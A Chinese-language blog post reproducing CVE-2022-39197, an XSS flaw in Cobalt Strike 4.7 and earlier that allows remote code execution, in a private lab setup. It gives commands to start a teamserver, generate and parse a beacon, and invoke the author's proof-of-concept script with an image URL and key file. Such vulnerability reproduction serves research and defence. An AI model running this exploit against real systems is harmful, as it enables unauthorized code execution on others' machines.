CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞復現
最新文章更新見個人部落格
漏洞說明
根據9.20日CobaltStrike官方發布的最新4.7.1版本的更新日誌中介紹,<=4.7的teamserver版本存在XSS漏洞,從而可以造成RCE遠程程式碼執行
一位名為「Beichendream」的獨立研究人員聯繫我們,告知我們他們在團隊伺服器中發現的一個 XSS 漏洞。這將允許攻擊者在 Beacon 配置中設置格式錯誤的用戶名,從而允許他們遠程執行程式碼RCE。
復現過程
根據漏洞原理,類似之前使用的cs上線器,稍微修改一下上線的payload即可。
測試環境
服務端:Ubuntu20.04+JDK11+CS4.3 (IP: 172.16.12.13)
客戶端:M2 macOS Monterey 12.5 + JDK17 (IP: 172.16.12.2)
用到的工具:CobaltStrikeParser、CVE-2022-39197 POC
環境搭建
# ubuntu
chmod +x teamserver
./teamserver 172.16.12.13 haha123
# macOS--提供圖片載入服務,如果聯網的話可以省略該步,使用任意在線圖片的url
brew install node@14
npm i --global serve
serve # 用serve在圖片路徑下開啟服務, 此處圖片文件url為://172.16.12.2:3000/logo.png
CS中創建一個listener監聽器
然後生成一個package木馬,經測試,是否勾選x64(即生成的32位和64位均可上線)不影響結果
POC使用
首先對這個生成的beacon進行分析,我們這裡使用CobaltStrikeParser這個工具。
python3 parse_beacon_config.py beacon4.3_x64.exe --json
重點關注如下幾個點
將Port
、C2Server
、HttpPostUri
進行拼接,這裡變成://172.16.12.13:8080/visit.js/submit.php
,記錄下來
將PublicKey
複製到一個txt
文件中,注意去除前後的空格
使用我寫的POC(編寫不易,麻煩加個star吧,後期會把上述分析功能集成,一站式實現)
python3 cve-2022-39197-poc.py -i //172.16.12.2:3000/logo.png -u //172.16.12.13:8080/visit.js/submit.php -k key.txt